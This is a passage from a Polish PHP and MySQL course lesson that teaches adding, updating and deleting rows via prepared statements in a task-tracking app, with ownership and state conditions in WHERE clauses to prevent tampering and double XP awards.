<p class="wp-block-paragraph">Nauczyć się:</p>



<ul class="wp-block-list">
<li>dodawać wiersze (<code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO ... VALUES</code>), zmieniać je (<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE ... SET ... WHERE</code>) i usuwać (<code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE FROM ... WHERE</code>),</li>



<li>wykonywać te polecenia z PHP przez prepared statements i sprawdzać efekt (<code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">insert_id</code>),</li>



<li>używać <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code> jako <strong>bezpiecznika</strong>. Warunek właściciela (<code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id = ?</code>) pilnuje, żeby nikt nie zmienił cudzego zadania. Warunek stanu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania IS NULL</code>) pilnuje, żeby XP nie wpadło dwa razy,</li>



<li>zmieniać wartość względem obecnej (<code class="prettyprint lang-sql" style="font-size: 0.85em;">xp = xp + ?</code>),</li>



<li>połączyć zmianę danych z wzorcem POST → przekierowanie → GET z Lekcji 13 i komunikatem jednorazowym z Lekcji 14.</li>
</ul>



<p class="wp-block-paragraph">Efekt: formularz dodawania zapisuje do bazy i wraca na stronę. Przy każdym niewykonanym zadaniu jest przycisk „Zrobione!”, który przyznaje XP i aktualizuje streak. Przy każdym zadaniu jest przycisk „Usuń”. Plik CSV i funkcje plikowe znikają z projektu.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Uwaga — co jest, a czego jeszcze nie ma:</strong></p>



<ul class="wp-block-list">
<li><strong>Rejestracja i hasła przechodzą do Lekcji 22.</strong> W Lekcji 18 zapowiadaliśmy hasło już dziś. Zmieniamy plan świadomie: zapisywanie hasła (<code class="prettyprint lang-sql" style="font-size: 0.85em;">password_hash()</code>) i jego sprawdzanie przy logowaniu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">password_verify()</code>) pojawią się razem. Hasło, którego logowanie przez trzy lekcje nie sprawdza, dawałoby tylko pozór bezpieczeństwa. Logowanie zostaje więc takie jak po Lekcji 18.</li>



<li>Dziś nie ma edycji zadania (zmiana tytułu, terminu). To zadanie końcowe A.</li>



<li>„Zrobione!” zmienia dwie tabele dwoma zapytaniami. Co się stanie, jeśli drugie się nie uda, zobaczysz w Eksperymencie 5. Rozwiązanie (transakcja) to zadanie końcowe C.</li>
</ul>
</blockquote>



<h1 class="wp-block-heading">Rozgrzewka — 4 pytania z Lekcji 18</h1>



<ol class="wp-block-list">
<li>Dlaczego login z formularza przekazujemy do zapytania przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>, a nie wklejamy do tekstu SQL?</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika($polaczenie, 99)</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>. Czy to awaria? Jak reaguje na to <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>?</li>



<li>Po czym w bazie poznajemy, że zadanie jest wykonane? Jak w SQL wybrać tylko zadania <strong>niewykonane</strong> i dlaczego nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">= NULL</code>?</li>



<li>Dlaczego w sesji zapisujemy tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code>, a nie login i imię?</li>
</ol>



<h1 class="wp-block-heading">1. Wracamy do naszego TaskQuest</h1>



<h3 class="wp-block-heading">Co zostaje, co dochodzi, co zmieniamy</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Element</th><th>Po Lekcji 18</th><th>Po Lekcji 19</th></tr></thead><tbody><tr><td>baza <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code></td><td>aplikacja tylko czyta</td><td><strong>zostaje bez zmian</strong>; aplikacja także zapisuje</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code></td><td>połączenie + 4 funkcje z <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code></td><td><strong>dochodzi</strong> 5 funkcji: <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> ×2, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code> jednego zadania</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code></td><td>zapisuje do CSV, niedostępny z nawigacji</td><td><strong>zmiana:</strong> zapis do bazy, link „+ Dodaj zadanie” wraca</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code></td><td>nie ma</td><td><strong>dochodzą</strong> (bez HTML, jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code>)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik::aktualizujStreak()</code></td><td>przelicza streak przy każdym wyświetleniu, na podstawie symulacji</td><td><strong>zmiana:</strong> liczy streak raz, w chwili wykonania zadania</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieWykonane</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>symulacja „aktywności”</td><td><strong>usuwamy</strong> — aktywność to kliknięcie „Zrobione!”</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_plikow.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">PLIK_ZADAN</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania()</code></td><td>używane tylko przez formularz</td><td><strong>usuwamy</strong> — nic już z nich nie korzysta</td></tr><tr><td>walidacja formularza (<code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code>), funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code>, klasy, logowanie, sesja</td><td>istnieją</td><td><strong>zostają bez zmian</strong></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Zasada z Lekcji 18 obowiązuje dalej: <strong>obiekty i logika zostają, zmienia się miejsce, w którym żyją dane</strong>. Walidacja formularza, obliczanie poziomu i liczenie serii dni to kod, który już znasz.</p>



<h3 class="wp-block-heading">Docelowa struktura projektu</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/
├── index.php                        (zmiana: link „+ Dodaj zadanie”, przyciski „Zrobione!” i „Usuń”, bez symulacji streaka)
├── dodaj-zadanie.php                (zmiana: zapis do bazy)
├── oznacz-wykonane.php              NOWY
├── usun-zadanie.php                 NOWY (zadanie z sekcji 6)
├── zaloguj.php                      bez zmian
├── wyloguj.php                      bez zmian
├── diagnostyka.php                  (zmiana: lista plików, bez sekcji „Pliki danych”)
├── classes/
│   ├── Zadanie.php                  bez zmian
│   └── Uzytkownik.php               (zmiana: aktualizujStreak())
├── config/
│   └── config.php                   (zmiana: bez PLIK_ZADAN)
├── includes/
│   ├── header.php                   (zmiana: styl form.akcja)
│   ├── footer.php                   (zmiana: „TaskQuest 1.9”)
│   ├── funkcje_bazy.php             (zmiana: 5 nowych funkcji)
│   ├── funkcje_zadan.php            (zmiana: bez nastepneIdZadania())
│   ├── funkcje_plikow.php           USUWAMY
│   └── ... pozostałe                bez zmian
├── sql/
│   └── taskquest.sql                bez zmian
└── data/                            USUWAMY (razem z zadania.csv)</code></pre>



<h3 class="wp-block-heading">Przygotowanie (zrób to teraz)</h3>



<ol class="wp-block-list">
<li>Zrób kopię zapasową katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_lekcja18/</code> (obok, nie w środku).</li>



<li>Uruchom w XAMPP <strong>Apache</strong> i <strong>MySQL</strong>.</li>



<li>W phpMyAdmin uruchom ponownie cały <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>. Dziś będziemy często psuć dane testowe. Ten skrypt przywraca je w kilka sekund.</li>
</ol>



<h1 class="wp-block-heading">2. Problem w aplikacji</h1>



<p class="wp-block-paragraph">Kama zrobiła wczoraj zadanie „Nauczyć się regexów PHP”. Loguje się do TaskQuest i chce je odhaczyć. Nie ma jak. Na liście jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">[ ]</code>, XP stoi na 99. Zmienić to może tylko ktoś, kto wejdzie do phpMyAdmin i ręcznie przepisze liczby.</p>



<p class="wp-block-paragraph">Ola chce dodać nowe zadanie. Formularz istnieje, ale zniknął z nawigacji, a pod bezpośrednim adresem zapisuje do pliku, którego strona już nie czyta.</p>



<p class="wp-block-paragraph">TaskQuest jest na razie tablicą wyników, którą ktoś uzupełnia ręcznie. Żeby był grą, aplikacja musi umieć:</p>



<ol class="wp-block-list">
<li><strong>dodać</strong> wiersz do tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code> (nowe zadanie),</li>



<li><strong>zmienić</strong> wiersz: wpisać datę wykonania zadania, dopisać graczowi XP i zaktualizować serię dni,</li>



<li><strong>usunąć</strong> wiersz (zadanie niepotrzebne).</li>
</ol>



<p class="wp-block-paragraph">Są też dwa haczyki, o których pomyślimy od początku. Po pierwsze, nikt nie może zmienić <strong>cudzego</strong> zadania. Po drugie, zadanie wykonane raz nie może dawać XP drugi raz, nawet jeśli ktoś kliknie dwa razy.</p>



<h1 class="wp-block-heading">3. Nowy mechanizm: <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code></h1>



<h2 class="wp-block-heading">3.1 Trzy polecenia w phpMyAdmin</h2>



<p class="wp-block-paragraph">Otwórz phpMyAdmin → baza <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code> → zakładka <strong>SQL</strong>. Przed każdym poleceniem zapisz, co Twoim zdaniem się stanie.</p>



<h3 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code> — dodaj wiersz</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO zadania (uzytkownik_id, tytul, opis, termin, xp)
VALUES (2, 'Przetestować INSERT', '', '2026-10-10', 10);</code></pre>



<ul class="wp-block-list">
<li>Po nazwie tabeli wymieniamy <strong>kolumny</strong>, po <code class="prettyprint lang-sql" style="font-size: 0.85em;">VALUES</code> wartości <strong>w tej samej kolejności</strong>. To trochę jak argumenty nazwane z Lekcji 15: kolejność w bazie nie ma znaczenia, liczy się dopasowanie nazwy do wartości.</li>



<li>Brakuje dwóch kolumn: <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> nada baza (<code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code>). <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code> dostanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>, bo kolumna ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> bez innej wartości domyślnej. Nowe zadanie jest więc od razu niewykonane.</li>
</ul>



<p class="wp-block-paragraph">Sprawdź: <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT id, tytul, data_wykonania FROM zadania WHERE uzytkownik_id = 2;</code>. Ola ma teraz dwa zadania. Zapamiętaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> nowego.</p>



<h3 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> — zmień wiersz</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE zadania
SET data_wykonania = CURDATE()
WHERE uzytkownik_id = 2 AND tytul = 'Przetestować INSERT';</code></pre>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">SET kolumna = wartość</code> mówi, co zmienić. <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code> mówi, <strong>w których wierszach</strong>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">CURDATE()</code> to funkcja SQL: dzisiejsza data według serwera MySQL, w formacie <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code>.</li>



<li>phpMyAdmin pokaże „Zmieniono rekordów: 1” (w wersji angielskiej „1 row affected”).</li>
</ul>



<p class="wp-block-paragraph">Uruchom <strong>to samo polecenie jeszcze raz</strong>. Przewidź wynik, zanim klikniesz. Teraz zobaczysz „Zmieniono rekordów: 0”. Wiersz pasował do <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code>, ale data już była dzisiejsza, więc nic się nie <strong>zmieniło</strong>. MySQL liczy zmienione wiersze, nie pasujące. Ta różnica przyda się w TaskQuest.</p>



<p class="wp-block-paragraph">Teraz ten sam <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> z dodatkowym warunkiem:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE zadania
SET data_wykonania = CURDATE()
WHERE uzytkownik_id = 2 AND tytul = 'Przetestować INSERT' AND data_wykonania IS NULL;</code></pre>



<p class="wp-block-paragraph">Wynik: 0. Warunek mówi „zmień tylko, jeśli zadanie <strong>jeszcze nie</strong> jest wykonane”. Zapamiętaj ten wzór — od niego zależy, czy gracz dostanie XP raz, czy wiele razy.</p>



<h3 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> względem obecnej wartości</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE uzytkownicy SET xp = xp + 10 WHERE id = 2;</code></pre>



<p class="wp-block-paragraph">Po prawej stronie <code class="prettyprint lang-sql" style="font-size: 0.85em;">=</code> stoi <strong>stara</strong> wartość kolumny. Ola miała 250, ma 260. Uruchom jeszcze raz — 270. Nie musimy znać obecnej liczby XP, żeby ją zwiększyć. Baza dolicza do tego, co ma w chwili zmiany.</p>



<h3 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> — usuń wiersz</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE FROM zadania WHERE uzytkownik_id = 2 AND tytul = 'Przetestować INSERT';</code></pre>



<p class="wp-block-paragraph">phpMyAdmin zapyta o potwierdzenie. Tak ma być: <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> jest nieodwracalny, nie ma kosza.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Najważniejsze zdanie tej lekcji:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> <strong>bez</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code> działają na <strong>wszystkich</strong> wierszach tabeli. Nie ma pytania „czy na pewno?” w PHP. Zobaczysz to w Eksperymencie 1.</p>
</blockquote>



<p class="wp-block-paragraph">Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> — Ola wraca do 250 XP.</p>



<h2 class="wp-block-heading">3.2 Te same polecenia z PHP</h2>



<p class="wp-block-paragraph">Z <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code> znasz cztery kroki: <code class="prettyprint lang-sql" style="font-size: 0.85em;">prepare()</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">execute()</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code>. Przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> baza nie zwraca wierszy, więc <strong>ostatniego kroku nie ma</strong>. Zamiast wyniku sprawdzamy, <strong>ile wierszy się zmieniło</strong>.</p>



<p class="wp-block-paragraph">Utwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> w katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

$polaczenie = polaczZBaza();

$premia = 5;
$uzytkownikId = 2;

$zapytanie = $polaczenie-&gt;prepare('UPDATE uzytkownicy SET xp = xp + ? WHERE id = ?');
$zapytanie-&gt;bind_param('ii', $premia, $uzytkownikId);
$zapytanie-&gt;execute();

var_dump($zapytanie-&gt;affected_rows);</code></pre>



<p class="wp-block-paragraph">Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(1)</code>. Sprawdź w phpMyAdmin: Ola ma 255 XP.</p>



<p class="wp-block-paragraph">Teraz dwie próby:</p>



<ol class="wp-block-list">
<li><strong>Odśwież brudnopis trzy razy.</strong> Ile XP ma Ola? (270.) Każde odświeżenie to nowe żądanie, a każde żądanie wykonuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> od nowa. Dlatego od Lekcji 13 dane zmieniamy wyłącznie przez <strong>POST + przekierowanie</strong>, nigdy przez zwykłe wejście na adres.</li>



<li><strong>Zmień <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownikId</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">99</code>.</strong> Wynik: <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(0)</code> i <strong>żaden wyjątek</strong>. Zapytanie jest poprawne, tylko żaden wiersz nie pasował. To ta sama sytuacja co <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika()</code> w Lekcji 18: brak pasujących danych to nie awaria.</li>
</ol>



<p class="wp-block-paragraph">Co mówi <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code>:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Polecenie</th><th><code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> to&#8230;</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code></td><td>liczba dodanych wierszy (u nas zawsze 1)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code></td><td>liczba wierszy, które się <strong>naprawdę zmieniły</strong> (nie tych, które pasowały do <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code>)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code></td><td>liczba usuniętych wierszy</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Błąd zapytania (literówka, zła wartość) nie daje specjalnej liczby. Od Lekcji 18 <code class="prettyprint lang-sql" style="font-size: 0.85em;">polaczZBaza()</code> ustawia <code class="prettyprint lang-sql" style="font-size: 0.85em;">MYSQLI_REPORT_STRICT</code>, więc błąd to <strong>wyjątek</strong>.</p>



<p class="wp-block-paragraph">Po <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code> przydaje się jeszcze jedna właściwość: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie-&gt;insert_id</code>. To <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, które baza nadała nowemu wierszowi przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code>. Nie musimy go zgadywać, jak robiła to <code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania()</code> przy CSV.</p>



<p class="wp-block-paragraph">Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>.</p>



<h2 class="wp-block-heading">3.3 <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code> jako bezpiecznik</h2>



<p class="wp-block-paragraph">W TaskQuest każde <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> na zadaniu będzie miało warunek na <strong>dwie</strong> rzeczy naraz.</p>



<p class="wp-block-paragraph"><strong>1. Czyje to zadanie?</strong> Przycisk „Zrobione!” wyśle do serwera <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> zadania w ukrytym polu formularza. „Ukryte” znaczy tylko „niewidoczne na stronie”. Każdy może je zmienić w narzędziach przeglądarki (F12) i wysłać <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> zadania Kamy, będąc zalogowanym jako Ola. Zasada z Lekcji 13 obowiązuje: <strong>danym z formularza nie ufamy</strong>. Ufamy za to <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['uzytkownik_id']</code>, bo zapisał go nasz kod. Dlatego:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE id = ? AND uzytkownik_id = ?</code></pre>



<p class="wp-block-paragraph">Jeśli ktoś podrobi <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, warunek nie pasuje, zmienia się 0 wierszy. Prepared statement tu nie pomoże — to nie SQL injection, tylko <strong>brak sprawdzenia uprawnień</strong> (Eksperyment 3).</p>



<p class="wp-block-paragraph"><strong>2. Czy wolno to jeszcze zmienić?</strong> XP ma wpaść tylko raz. Najprostszy pomysł to sprawdzić w PHP: wczytać zadanie, <code class="prettyprint lang-sql" style="font-size: 0.85em;">if (!$zadanie-&gt;czyWykonane())</code>, potem <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code>. Ale co, jeśli gracz ma TaskQuest otwarty w dwóch kartach i kliknie „Zrobione!” w obu? Oba żądania wczytają zadanie jako niewykonane, oba przejdą przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code>, oba dodadzą XP.</p>



<p class="wp-block-paragraph">Dlatego o tym, czy zmiana się należy, decyduje <strong>ten sam <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code>, który zmienia dane</strong>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE zadania SET data_wykonania = CURDATE()
WHERE id = ? AND uzytkownik_id = ? AND data_wykonania IS NULL</code></pre>



<p class="wp-block-paragraph">InnoDB blokuje wiersz na czas takiej zmiany. Drugie żądanie poczeka, zobaczy już wpisaną datę i dostanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> = 0. W PHP przyznajemy XP <strong>tylko wtedy, gdy <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> wynosi 1</strong>. Sprawdzisz to w Teście 4 i Eksperymencie 2.</p>



<h3 class="wp-block-heading">Typowe błędy</h3>



<ul class="wp-block-list">
<li><strong>Brak <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code></strong> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> — zmiana wszystkich wierszy (Eksperyment 1).</li>



<li><strong>Stała albo wyrażenie w <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param('ii', 5, $uzytkownikId)</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param('i', (int) $xpZadania)</code> kończy się <code class="prettyprint lang-sql" style="font-size: 0.85em;">Error</code> („could not be passed by reference”). <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> przyjmuje tylko <strong>zmienne</strong>. Wartość zapisz najpierw w zmiennej. (W funkcji to się nie zdarza, bo parametry funkcji to zmienne.)</li>



<li><strong>Liczba liter w <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> różna od liczby <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code></strong> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">ArgumentCountError</code> albo błąd zapytania. Liczymy <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code> od lewej i dla każdego piszemy literę <code class="prettyprint lang-sql" style="font-size: 0.85em;">i</code> (liczba całkowita) albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">s</code> (tekst, także data).</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code> po <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code></strong> — nie ma wyniku do odczytania. Efekt sprawdzamy przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code>.</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows &gt; 0</code> jako „wiersz istnieje”</strong> — przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> 0 może też znaczyć „wiersz istnieje, ale wartość była taka sama” (3.1).</li>
</ul>



<h1 class="wp-block-heading">4. SAMODZIELNIE — pierwsze zadanie dodane z PHP</h1>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> dodaj do bazy zadanie <strong>dla Oli</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> = 2):</p>



<ul class="wp-block-list">
<li>tytuł <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie z brudnopisu</code>, opis pusty, termin <code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-10-15</code>, 15 XP,</li>



<li>dane zapisz najpierw w zmiennych (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownikId</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$tytul</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$opis</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$termin</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code>) — tak, jakby przyszły z formularza,</li>



<li>zapytanie przez prepared statement,</li>



<li>na końcu wypisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">insert_id</code>.</li>
</ul>



<p class="wp-block-paragraph">Potem zaloguj się do TaskQuest jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola_TQ</code>. Zadanie z brudnopisu powinno być na liście, bez żadnych zmian w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>. Strona czyta z bazy od Lekcji 18.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Kolumn podajesz pięć, więc w <code class="prettyprint lang-sql" style="font-size: 0.85em;">VALUES</code> będzie pięć znaków <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>. Termin to tekst w formacie <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code> — jaką literą go oznaczysz?</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie-&gt;prepare(
    'INSERT INTO zadania (uzytkownik_id, tytul, opis, termin, xp) VALUES (?, ?, ?, ?, ?)'
);
$zapytanie-&gt;bind_param('.....', ...);</code></pre>
</details>



<p class="wp-block-paragraph">Litery w <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> idą w tej samej kolejności co <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>: liczba, tekst, tekst, tekst, liczba.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

$polaczenie = polaczZBaza();

$uzytkownikId = 2;
$tytul = 'Zadanie z brudnopisu';
$opis = '';
$termin = '2026-10-15';
$xp = 15;

$zapytanie = $polaczenie-&gt;prepare(
    'INSERT INTO zadania (uzytkownik_id, tytul, opis, termin, xp) VALUES (?, ?, ?, ?, ?)'
);
$zapytanie-&gt;bind_param('isssi', $uzytkownikId, $tytul, $opis, $termin, $xp);
$zapytanie-&gt;execute();

